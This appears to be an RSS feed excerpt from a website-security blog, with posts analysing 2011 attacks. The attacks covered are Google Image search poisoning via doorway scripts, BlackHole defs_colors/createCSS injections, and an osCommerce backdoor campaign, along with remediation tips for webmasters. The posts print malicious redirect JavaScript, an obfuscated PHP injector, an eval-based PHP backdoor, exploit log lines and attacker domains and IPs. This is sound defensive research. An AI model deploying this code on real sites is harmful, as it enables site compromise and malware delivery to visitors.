links to 30 most recently generated links<br />
keyword-rich text with hot-linked images<br />
links to alternative pages</code></p>
<p><strong>11. Spammy page template</strong>. So that this generated spammy block doesn&#8217;t look too outlandish, it is inserted in the middle of the HTML code a real homepage of the compromised site.</p>
<p>The HTML template is stored in the <span style="color: #993300;">.log/<em>compromiseddomain.com</em>/<strong>shab100500.txt</strong></span> file. It&#8217;s basically the HTML code of the site&#8217;s homepage with the &lt;REPLACEME&gt; placeholder, that will be later replaced with a generated spammy block.</p>
<p>A few more important modification to this template will be made when the script generates spammy pages:</p>
<ul>
<li>the original &lt;title&gt; tag is replaced with <span style="color: #993300;">&lt;title&gt;Search Keywords&lt;/title&gt;</span></li>
<li>and the <span style="color: #993300;">&lt;meta name=&#8221;googlebot&#8221; content=&#8221;noarchive&#8221;&gt;</span> tag is inserted &#8212; that&#8217;s why you don&#8217;t see cached copies of the pages in Google search results, which definitely makes the problem diagnostic more difficult for webmasters. (Fortunately, they can still use the &#8220;Fetch as Googlebot&#8221; tool in Google Webmaster Tools)</li>
</ul>
<h4 id="caching">Caching</h4>
<p>Once the spammy page is generated, it is saved on disk so that all subsequent requests to the same page will be served directly from cache.</p>
<p>The cached pages are saved in the <span style="color: #993300;">.log/<em>compromiseddomain.com</em>/</span> directory and have the following filenames:</p>
<p>The first page: <span style="color: #993300;"> .log/<em>compromiseddomain.com</em>/<strong>search-keywords.html</strong></span><br />
Page #N : <span style="color: #993300;">.log/<em>compromiseddomain.com</em>/<strong>search-keywords.htmlN</strong></span> where N is a number from 2 to 7</p>
<p>Since the spammy pages are only generated for search engine bots, the number of cache files provides us with quite an accurate number of indexed spammy pages. (It is not always possible to come up with Google search queries that return only spammy pages and at the same time all spammy pages on a particular domain.)</p>
<p>I&#8217;ve checked cache directories on many hacked sites. I rarely saw less that <strong>1,000</strong> files there. Some sites even had <strong>more than 100,000 cache files</strong> created in less than three months.</p>
<p>Sidenote: The spammy pages are only generated when Googlebot tries to index them. Moreover, three Google&#8217;s services are utilized in the spam generation process. Effectively, Google generates spam that poisons its index itself! What an irony!</p>
<h4 id="redirects">Malicious redirects.</h4>
<p>Let&#8217;s get back to real people who click on poisoned image search results. When the script detects a victim (visitor from Google, Yahoo or Bing) it returns some malicious code instead of the requested spammy page.</p>
<p>This malicious code is stored in the <span style="color: #993300;">.log/<em>compromiseddomain.com</em>/<strong>iog.txt </strong></span>file and looks like this</p>
<p><code>var url = "hxxp://<strong>wcwrwpea .cz.cc/in.cgi?2&amp;seoref=</strong>"+encodeURIComponent(document.referrer)+"&amp;parameter=$keyword&amp;se=$se&amp;ur=1&amp;HTTP_REFERER="+encodeURIComponent(document.URL)+"&amp;default_keyword=default";<br />
if (window!=top) {top.location.href = url;} else document.location= url;</code></p>
<p>Note how it breaks out of the frames. Google&#8217;s Image search interstitial pages can&#8217;t stop the redirect.</p>
<p>This file is being updated <strong>every 30 minutes</strong>. Remember the <span style="color: #993300;">xmlrpc.txt</span> file that contains the address of the remote server? This is where this address is used.</p>
<p>Every 30 minutes the script pulls new malicious script from<br />
<span style="color: #993300;">hxxp://remote-server-from-xmlrpc-txt/badcompany.php?q=compromiseddomain.com/script-name.php</span></p>
<p>So far the only changes are the domain names of sites where the script redirects web surfers to. Here are just a few domains used in this attack:</p>
<p><code>oppuvjyz .cz.cc, sljngefn .cz.cc, qtmgqqxh .cz.cc, qeiskziv .cz.cc, jfdevxvo.cz.cc, zpggpimd .cz.cc, uywgxabe .cz.cc, hdmibzur .cz.cc, kjqxyxiu .cz.cc, wcwrwpea .cz.cc</code></p>
<p>These domains have a very short life time so security tools that rely on blacklists simply don&#8217;t have enough time to flag them and update their blacklists. That&#8217;s why Google&#8217;s Safe Browsing database that is used by many modern web browsers is of very little help here. Moreover Google even have hard time finding and blacklisting the malicious doorway pages on hacked sites. Less than 5% of them are currently flagged.</p>
<p>Note, although the doorway pages currently return malicious scripts that redirect to fake AV sites, they can easily change to any other type of JavaScript: it can be some browser exploit or a redirect some shady content (e.g. porn, pirated stuff, counterfeit drugs, gambling sites, etc).</p>
<h3 id="stats">Statistics and estimates</h3>
<p>This scheme works extremely well for spammers. It exploits the flaw in Google Image search so well that the doorway pages inevitably make it to the first pages of image search results for almost every keyword combination that consist of at least a couple of words. Let me prove it with some numbers.</p>
<p>I have compiled a list of <strong>5,000+ hacked sites</strong> (the list is incomplete) with millions of doorway pages. And I have a very long list of keywords targeted by the spammy pages.  I tried to check more than a hundred of random Google Images searches from that list &#8212; for most of them (~90%) I found at least one hijacked search result on the first page. In about 50% of cases there were more than one poisoned search results within the top 20. For some keywords, poisoned search results occupied more than half positions on the first page of results. Results below top 20 were poisoned even more seriously.</p>
<p>And the main problem is not that cybercrooks managed to seriously poison Google Image search results but the fact that many people do click on such results results and get exposed to malicious content.</p>
<p>I&#8217;ve received logs from some hacked sites and can estimate the traffic Google sends to such doorway pages.</p>
<p style="padding-left: 30px;">An average hacked site has <strong>~1,000</strong> indexed doorway pages.<br />
There are <strong>5,000+</strong> hacked sites that I know of.<br />
This gives us <strong>5,000,000+</strong> indexed doorway pages.<br />
An average doorway page has <strong>1</strong> visitor from Google every <strong>10</strong> days.<br />
So all doorway pages should have <strong>500,000+</strong> visits from Google <strong>every day</strong><br />
Or <strong>15,000,000+</strong> visits every month</p>
<p>Note, this probably is underestimation since I used numbers on the lower side.</p>
<p><strong>Update (May 16th, 2011):</strong> <em>I seem to be right about underestimation. Check this <a href="http://blog.trendmicro.com/blackhat-seo-attack-uses-google%E2%80%99s-image-search/">Trend Micro article</a> and their numbers: <strong>~ 3 million</strong> unique visitors from Google on the average day, <strong>26+ million</strong> uniques in just the first <strong>10</strong> days of May (with a declining trend after May 5th, when Google started to actively blacklist doorway sites.)</em></p>
<p>And don&#8217;t forget that this is statistics of this particular SEO   poisoning attack. There are currently at least a few more other similar   active attacks that make things significantly worse.</p>
<p>Here&#8217;s a representative example: a small hacked Croatian site with PageRank <strong>0</strong>. FTP logs showed that it had been hacked on <strong>March 18th</strong>. According to access logs, on <strong>March 19th</strong> Google started to index doorways pages. During the next <strong>5</strong> weeks it has indexed <strong>27,200+</strong> doorway pages on this site. During the same <strong>5</strong> weeks Google Image search has sent <strong>140,000+</strong> visitors to this small site. Very impressive, isn&#8217;t it?</p>
<h3 id="efficient">The most efficient black hat trick ever</h3>
<p>I would call this the most efficient and easy to implement black hat SEO trick to drive search traffic to a site. And you don&#8217;t actually need to hack someone else&#8217;s sites &#8212; you can implement this on your own site with similar results. Of course, you should be ready that someone reports your site to Google and they remove it from their index altogether, but you can still enjoy having thousands of visitors literally for free before this happens.</p>
<p>But don&#8217;t be late to the party! Many black hats already exploit this flaw in Google Image search. It may happen that most of Google Image search results will be hijacked and re-hijacked quite soon and normal people will simply stop using Google for image searches.</p>
<h3 id="google">To Google</h3>
<p>Google, I hope you hear my sarcasm. Is there any chance you&#8217;ll close this security hole?</p>
<p>I know, you can&#8217;t remove hot-linking sites from image search results altogether for numerous reasons (although it would definitely fix the problem), but you should consider some other steps that could mitigate the problem and you should do it ASAP!</p>
<p>Here are just a few ideas that come to my head:</p>
<ul>
<li>Give some preference to sites that actually host image files. Don&#8217;t encourage image theft.</li>
<li>Improve cloaking and web spam (pages with unintelligible texts should not rank high!) detection.</li>
<li>Cooperate with the anti-malware team and have them scan fresh discovered pages that hot-link more than, say, three images. (I hope that malware scanners will eventually be able to detect malicious behavior on such doorway pages)</li>
</ul>
<p>Meanwhile, I&#8217;m sending my list of 5,000+ hacked sites to Google&#8217;s web spam team and to their webmaster trends analysts. Hope, you&#8217;ll be able to make a good use of it and remove these doorways pages from search results.</p>
<h3 id="webmasters">To Webmasters</h3>
<p>To make sure your site is not abused by cybercrooks you should:</p>
<ul>
<li>regularly check  what pages Google has indexed on your site
<ul>
<li>use the &#8220;<strong>site:</strong>&#8221; searches</li>
<li>check statistics in Google Webmaster Tools</li>
</ul>
</li>
<li>Regularly check what search keywords people use to find your site. Google Analytics won&#8217;t help here as it only tracks data for your legitimate web pages.
<ul>
<li>Use search data in Google Webmaster Tools</li>
<li>Regularly check raw access logs or tools that analyze access logs (e.g. Webalizer)</li>
</ul>
</li>
<li>Scan your server for suspicious files and directories. It&#8217;s a good idea to have some sort of integrity control or version control so that you can easily detect unauthorized changes.</li>
<li>Don&#8217;t save passwords in FTP programs. Change passwords every time you find malware on your computer.</li>
<li>Make sure your computer is free from malware. Use a reputable anti-virus tool and regularly update it.</li>
<li>Keep your operating system, web browser and all browser plugins (e.g. Java, Flash) up-to-date. This will help minimize risk of malware infections that may result in site password theft.</li>
</ul>
<p>If your site happens to be one of the compromised sites that host malicious doorway pages:</p>
<ul>
<li>Thoroughly scan your computer for malware</li>
<li>Once your computer is clean, change all site passwords (even for sites that don&#8217;t seem to be compromised yet). Don&#8217;t save passwords in FTP clients &#8211; most of them can&#8217;t protect your passwords from malware. Consider using password managers (like <a href="http://keepass.info/">KeePass</a>) that encrypt all data with a master password.</li>
<li>Use SFTP instead of FTP if possible.</li>
<li>Now remove the doorway .php script, .htaccess file with rewrite rules <a href="#htaccess">if it was created</a>, the <span style="color: #993300;">.log/</span> directory and all its content.</li>
<li>You should also scan your server for suspicious files that might have been uploaded to your server using the <span style="color: #993300;">?up100500</span> requests.</li>
</ul>
<p>##</p>
<p>Did you ever come across Google Image search results that redirected to malicious sites? Maybe your site was a victim of a similar attack? Or maybe this flaw seriously affects your site because spammers hijack <em>your</em> search results in Google Image search?</p>
<p>Your comments and stories are welcome!</p>
<p>###</p>
<p>This post has made it to the news. You might want to <a href="http://blog.unmaskparasites.com/in-the-news/">read</a> what journalists and security professionals have to say about this problem.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/05/08/imgaaa-net-and-other-blacklisted-domains-used-in-google-image-search-poisoning/">Imgaaa .net And Other Blacklisted Domains Used in Google Image Search Poisoning</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/">Google Image Poisoning. What’s New in June?</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers Abuse Servage Hosting to Poison Google Image Search</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/"></a><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/">Major Disasters in Poisoned Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/feed/</wfw:commentRss>
		<slash:comments>45</slash:comments>
		</item>
		<item>
		<title>Unused Programs &#8211; Real Threats</title>
		<link>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/</link>
		<comments>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 12:30:04 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[KeePass]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[SmartFTP]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=776</guid>
		<description><![CDATA[Recently, I helped one company to remediate security problems with their four websites. It was quite an usual iframe injection attack. FTP logs clearly showed how attackers used FTP to infect legitimate files on server. So the question was, how could FTP credentials be stolen?
Of course, I pointed them to my blog post where I [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I helped one company to remediate security problems with their <em>four</em> websites. It was quite an usual iframe injection attack. FTP logs clearly showed how attackers used FTP to infect legitimate files on server. So the question was, how could FTP credentials be stolen?</p>
<p>Of course, I pointed them to my blog post where I described <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">how malware stole passwords</a> and all the login details saved in 10 most popular FTP clients (e.g. Filezilla, CuteFTP, Total Commander, etc.). Indeed, recent malware scan revealed two suspicious items on their computer. One of them was identified as &#8220;<em>Spyware.Passwords</em>&#8220;. The only problem was the site owner said they didn&#8217;t use those FTP clients and kept all passwords in <a href="http://keepass.info/">KeePass</a>. Moreover, they manages <strong>50</strong> websites and only four of them got infected.</p>
<p>The answer became quite clear when they found an old copy of SmartFTP on their computer. There had been <strong>5</strong> FTP account (including passwords) saved there. Four of them were the four hacked sites! So what about the fifth? No doubt all five site credentials had been stolen, but the fifth site wasn&#8217;t hacked because its password had been changed after the last use of SmartFTP &#8212; so the stolen password was not valid by the moment of the hacker attack. This also explains why the rest 45 sites were not hacked &#8212; their passwords weren&#8217;t stolen.</p>
<h3>Lesson learned</h3>
<p>Not only should you avoid saving passwords in your current FTP client, but also make sure they are not saved in old programs that may still reside on your computer.</p>
<p>Related posts:</p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Update on redef_colors/createCSS attack: PHP code, Backdoors and osCommerce.</title>
		<link>http://blog.unmaskparasites.com/2011/04/07/update-on-redef_colorscreatecss-attack-php-code-backdoors-and-oscommerce/</link>
		<comments>http://blog.unmaskparasites.com/2011/04/07/update-on-redef_colorscreatecss-attack-php-code-backdoors-and-oscommerce/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 21:08:26 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[BlackHole]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=772</guid>
		<description><![CDATA[A few days ago, I blogged about the hacker attack that used the BlackHole toolkit and injected &#8220;createRSS&#8221; and &#8220;defs_colors&#8221; malicious scripts into legitimate websites. I&#8217;ve worked with a few webmasters of infected sites since then and now have some important additional information that I want to share here.

1. Script variations.
There are different &#8220;defs_colors&#8221; script [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago, I blogged about the hacker attack that<a href="http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/"> used the BlackHole toolkit and injected &#8220;createRSS&#8221; and &#8220;defs_colors&#8221; malicious scripts</a> into legitimate websites. I&#8217;ve worked with a few webmasters of infected sites since then and now have some important additional information that I want to share here.<br />
<span id="more-772"></span></p>
<h3 id="variations">1. Script variations.</h3>
<p>There are different &#8220;defs_colors&#8221; script variations. The most prevalent of them begin with:</p>
<p><code>if (typeof(<strong>redef_colors</strong>)=="undefined") {...</code></p>
<p>and<br />
<code>if (typeof <strong>color_arr</strong> == 'undefined') {...</code><br />
and<br />
<code>try {  if (<strong>colors_picked</strong>==0) {<br />
...<br />
document.location="hxxp://www.<strong>pradid .com</strong>/engine/right.php";<br />
document.location="hxxp://<strong>protectionantiv .com</strong>/index2.php?06abQDIxQUeTA2nyontjiJH+KT47NnZueQtYeXKtAV5TMMd3QC6H";<br />
...<br />
</code></p>
<h3 id="domains">2. Domain names</h3>
<p>Here are some more domains names used by this attack:</p>
<p><span style="color: #993300;">solomon-x .cz.cc</span>,<br />
<span style="color: #993300;">solomon-xl .cz.cc</span>,<br />
<span style="color: #993300;">globalteches .co.cc</span>,<br />
<span style="color: #993300;">protectionanthilliv .com</span>,<br />
<span style="color: #993300;">protectionantfarmiv .com</span>,<br />
<span style="color: #993300;">protectionadamantiv .com</span>,<br />
<span style="color: #993300;">thescannerantiv .com</span>,<br />
<span style="color: #993300;">searchableantiv .com</span>,<br />
<span style="color: #993300;">scannpartheidvir .com</span>,<br />
<span style="color: #993300;">combinationsaccannantivir .com</span>,<br />
<span style="color: #993300;">scanagainantivirus .com</span>,<br />
<span style="color: #993300;">anti-volt-free-virusscan .com</span>,<br />
<span style="color: #993300;"><strong>pradid .com</strong></span>,<br />
<span style="color: #993300;"><strong>khcol .com</strong></span>,<br />
<span style="color: #993300;"><strong>chantier .ci</strong></span>,<br />
<span style="color: #993300;"><strong>lets-tickets .co.cc</strong></span>,<br />
<span style="color: #993300;">86.55.140.0</span>,</p>
<h3 id="php">3. PHP injections</h3>
<p>PHP files may be infected with both HTML variations of the &#8220;<strong>redef_colors</strong>&#8221; scripts and their obfuscated PHP versions that look like this:</p>
<p><code>&lt;?php global $ob_starting;<br />
if(!$ob_starting) {<br />
function ob_start_flush($s) {<br />
$tc = array(0, 69, 84, 82, 67,<strong>...skipped...</strong>51);<br />
$tr = array(51, 5, 4, 3, 10, 26, 2, <strong>...skipped...</strong>26, 2, 58);<br />
$ob_htm = ''; foreach($tr as $tval) {<br />
$ob_htm .= chr($tc[$tval]+32);<br />
}<br />
$slw=strtolower($s);<br />
$i=strpos($slw,'&lt;/script');if($i){$i=strpos($slw,'&gt;',$i);}<br />
if(!$i){$i=strpos($slw,'&lt;/div');if($i){$i=strpos($slw,'&gt;',$i);}}<br />
if(!$i){$i=strpos($slw,'&lt;/table');if($i){$i=strpos($slw,'&gt;',$i);}}<br />
if(!$i){$i=strpos($slw,'&lt;/form');if($i){$i=strpos($slw,'&gt;',$i);}}<br />
if(!$i){$i=strpos($slw,'&lt;/p');if($i){$i=strpos($slw,'&gt;',$i);}}<br />
if(!$i){$i=strpos($slw,'&lt;/body');if($i){$i--;}}<br />
if(!$i){$i=strlen($s);if($i){$i--;}}<br />
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);<br />
return $s;<br />
}<br />
$ob_starting = time();<br />
@ob_start("ob_start_flush");<br />
} ?&gt;</code></p>
<h3 id="vectors">4. Attack vectors</h3>
<p>Unlike many other attacks, this one uses several different vectors. At this point I have quite reliable information about 2 of them:</p>
<ol>
<li>Stolen FTP passwords.</li>
<li>Backdoor scripts uploaded using vulnerabilities in web applications.</li>
</ol>
<p>Plus one more (not yet confirmed) vector: attacks on world-writable resources.</p>
<p>In this article I&#8217;ll share the information I gathered about the &#8220;backdoor&#8221; and &#8220;world-writable&#8221; scenarios.</p>
<h3 id="osCommerce">5. osCommerce backdoor scenario.</h3>
<p>I have analyzed access logs for a couple of hacked sites on two different servers and found similar traces of the malicious activity on both of them.  This helps me reconstruct the attack step-by-step:</p>
<h4 id="exploit">5.1 Vulnerability in osCommerce</h4>
<p>To upload backdoor files, hackers use a <a href="http://www.exploit-db.com/exploits/15587/">known vulnerability</a> in osCommerce.</p>
<p>In logs, it can be found if you search for POST requests to the following URL:</p>
<p><span style="color: #993300;">/admin/categories.php/admin/categories.php/login.php?cPath=&amp;action=new_product_preview</span></p>
<p>Here&#8217;s an example of such a request:</p>
<p><code>91.211.16.126 - - [19/Mar/2011:09:34:53 -0400] "POST <strong>/admin/categories.php/login.php?action=new_product_preview</strong> HTTP/1.0" 200 13161 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13"</code></p>
<h4 id="backdoor">5.2 Backdoor file</h4>
<p>As a result, a backdoor file with the following content appears on server:</p>
<p><code>&lt;?php $w=<strong>showimg</strong>;if(isset($_GET[$w])){echo  $w.chr(98).$w;$w=w;if(isset($_POST[$w])){$s=<strong>base64_decode</strong>(str_replace(chr(32),chr(43),$_POST[$w]));<strong>eval</strong>($s);}exit;}?&gt;</code></p>
<p>This file can have different names on different sites and can be found in different directories.</p>
<h4 id="infection">5.3 Infection</h4>
<p>Then, roughly once a day, hackers pass a PHP code in a POST request to this file. The code injects the malicious scripts into .<strong>html</strong>, .<strong>php</strong> and .<strong>js</strong> file in all accessible directories (even outside of /public_html).</p>
<p>Such request can be found in access logs if you search for <em><span style="color: #993300;">php?showimg=1&amp;cookies=1</span></em>. Here are some examples:</p>
<p><code>74.220.219.113 - - [15/Mar/2011:11:06:02 -0400] "<strong>POST /password_forgotten.php?showimg=1&amp;cookies=1</strong> HTTP/1.0" 200 633 "http://██████████████.com/password_forgotten.php?showimg=1&amp;cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"<br />
...<br />
74.220.219.113 - - [19/Mar/2011:12:22:51 -0400] "<strong>POST /admin/backups/img-371076576817.php?showimg=1&amp;showimg=1&amp;cookies=1</strong> HTTP/1.0" 200 790 "http://www.s█████████████.com/admin/backups/img-371076576817.php?showimg=1&amp;showimg=1&amp;cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"<br />
...<br />
74.220.219.113 - - [01/Apr/2011:03:59:59 -0300] "<strong>POST /cookie_usage.php?showimg=1&amp;cookies=1</strong> HTTP/1.1" 200 2829 "http://www.██████████.c█/cookie_usage.php?showimg=1&amp;cookies=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"</code></p>
<p>Note, although these three records are from three different sites on three different servers, the requests comes from the same IP address &#8211; <strong> 74.220.219.113</strong>.</p>
<p><span style="color: #888888;"><strong>Update (Apr 13th, 2011):</strong></span> Now they use the <strong>98.130.0.160</strong> IP address.</p>
<h3 id="writable">6. &#8220;World-writable&#8221; scenario</h3>
<p>This scenario is not confirmed yet. It&#8217;s just a guess.</p>
<p>I talked to people who found the malicious scripts injected into world-writable files only.  It&#8217;s quite strange for the FTP scenario where hackers have enough permissions to modify any files. In case of the backdoor scenario, .<strong>php</strong> files are usually executed with the file owner permission (using suExec or suPHP) so any file can be modified. Moreover, I&#8217;ve seen the malicious scripts injected into files with 644 permissions (writable for their owner only).</p>
<p>So why, in that single reported case, were only world-writable files infected? I have two explanations:</p>
<ol>
<li>On servers that don&#8217;t use suExec or suPHP, hackers use some application security hole to upload backdoor scripts to world-writable directory. Then use it to infect other world-writable files.</li>
<li>There is a backdoor script on a compromised neighbor account on the same server. Hackers figure out absolute paths of other sites on the same server (there are many tricks to do it) and feed those paths to their infection scripts. Naturally, they can only infect world-writable files on other accounts this way.</li>
</ol>
<p>If you have more information or just guesses, please let me know.</p>
<h3 id="tips">7. Security tips</h3>
<p>In addition to my general advices <a href="http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/#webmasters">I made a couple of weeks ago</a>, I have some more specific tips for you:</p>
<p><strong>7.1</strong> Find and remove all backdoor scripts! If hackers still have backdoor scripts on your server the rest tips make very little sense since hackers will be able to work around them</p>
<p><strong>7.2</strong> If you use osCommerce and can&#8217;t upgrade it to the latest version for some reason (even I find their upgrade instructions too complex and confusing!), you should passwords-protect the whole <strong>/admin</strong> directory.  The most prevalent osCommerce attacks use vulnerabilities in files in this directory. If you password-protect it, hackers won&#8217;t be able to access vulnerable files (of course, if they can&#8217;t guess the passwords).</p>
<p><strong>7.3</strong> Block the <strong>74.220.219.113</strong> and <strong>98.130.0.160</strong> IP addresses. Hackers use it to infect websites via backdoor files. Of course, they can easily change the IP address, but blocking it can still be a good idea. At least you don&#8217;t lose anything since this is an address of a server on the Bluehost network, so can&#8217;t be used by a normal human visitor.</p>
<p>Here is an example of .htaccess code that blocks this IP address</p>
<p><code># Begin IP blocking #<br />
Order Allow,Deny<br />
Deny from 74.220.219.113<br />
Deny from 98.130.0.160<br />
Allow from all<br />
# End IP blocking #</code></p>
<p><strong> 7.4</strong> Make sure there are no world-writable files and directories &#8211; they are an obvious security hole.</p>
<p>##</p>
<p>If you have examples of how log analyses can reveal malicious activity, I&#8217;d be interested in in <a href="http://blog.unmaskparasites.com/contact/">hearing your story</a>.</p>
<p><strong>Related posts:</strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/">BlackHole: defs_colors and createCSS Injections</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/">Versatile .CC Attacks</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/04/07/update-on-redef_colorscreatecss-attack-php-code-backdoors-and-oscommerce/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>BlackHole: defs_colors and createCSS Injections</title>
		<link>http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/</link>
		<comments>http://blog.unmaskparasites.com/2011/03/24/blackhole-defs_colors-and-createcss-injections/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 15:42:00 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[BlackHole]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=766</guid>
		<description><![CDATA[This is a review of the malware injection attack that I see quite often lately.
On Safe Browsing diagnostic pages, infected sites usually mention the following domains:
Malicious software is hosted on 4 domain(s), including new-solomon .cz.cc/, newsalamandra .cz.cc/, banpox .cz.cc/.
2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including [...]]]></description>
			<content:encoded><![CDATA[<p>This is a review of the malware injection attack that I see quite often lately.</p>
<p>On Safe Browsing diagnostic pages, infected sites usually mention the following domains:</p>
<blockquote><p>Malicious software is hosted on 4 domain(s), including new-solomon .cz.cc/, newsalamandra .cz.cc/, banpox .cz.cc/.</p>
<p>2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <strong>chadon .nl</strong>/, <strong>75.127.108 .0</strong>/.</p></blockquote>
<p>In intermediaries, they usually include <strong><em><span style="color: #993300;">chadon .nl</span></em></strong>,<strong> <em><span style="color: #993300;">corkit .co</span></em></strong>,<strong> <span style="color: #993300;"><em>tongho.co.th</em></span></strong> and some IP address.</p>
<p>On infected sites, I found various modification of a script that generally looks like this:<br />
<span id="more-766"></span><br />
<code>if (typeof(<strong>defs_colors</strong>)=="undefined") {<br />
var defs_colors = 1;<br />
var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d',<strong>...</strong>);<br />
var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d',<strong>...</strong>);<br />
var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);<br />
function div_pick_colors(t) {<br />
<strong>...skipped...</strong><br />
}<br />
check_div_styles();<br />
}</code></p>
<p>Depending on the script revision, it injects a hidden iframe that loads malicious content from the following URLs:</p>
<p><span style="color: #993300;">hxxp://<strong>chadon .nl</strong>/ozitude/catalog/?catalogrssnews=1</span><br />
<span style="color: #993300;">hxxp://<strong>85 .128 .169 .137</strong>/webim/jquery.min.html</span></p>
<h3>Locations</h3>
<p>Usually all <strong>.html</strong> files are infected.</p>
<p>This scripts can be found in many different places:</p>
<ul>
<li>injected at the top or at the the bottom of HTML code of a web page</li>
<li>injected at the bottom of legitimate <strong>.js</strong> files</li>
<li>sometimes hackers create new <strong>.js</strong> files with seemingly legitimate names like <span style="color: #993300;"><em>jquery.js</em></span>, <em><span style="color: #993300;">jquery.dropdown.js</span></em>, <span style="color: #993300;"><em>jquery_002.js</em></span>, <em>etc</em> and inject links to those <strong>.js</strong> files into HTML code of web pages. Note, these rogue <strong>.js</strong> files can be created in several different directories and different web pages will link to different files.</li>
</ul>
<h3>Reinfections</h3>
<p>It is not enough to remove the malicious code from legitimate files. Websites that don&#8217;t close the security hole are usually reinfected within a day or so.</p>
<p>Not only do hackers reinfect compromised sites but they also regularly update injected malicious code (probably to make detection more difficult).</p>
<h3>createCSS</h3>
<p>On one of the infected sites, I found a different type of a malicious script along with the familiar <span style="color: #993300;"><em>defs_colors</em></span> code.</p>
<p><code>function <strong>createCSS</strong>(selector,declaration){var ua=navigator.userAgent.toLowerCase();<strong>...skipped...</strong>kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[420/t,408/t,160/t,400/t,444/t,396/t,468/t,436/t,<strong>...skipped...</strong>,408/t,164/t,236/t,500/t|;var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];<strong>...skipped...</strong>}setTimeout(function(){ko(ydxx);},500);</code></p>
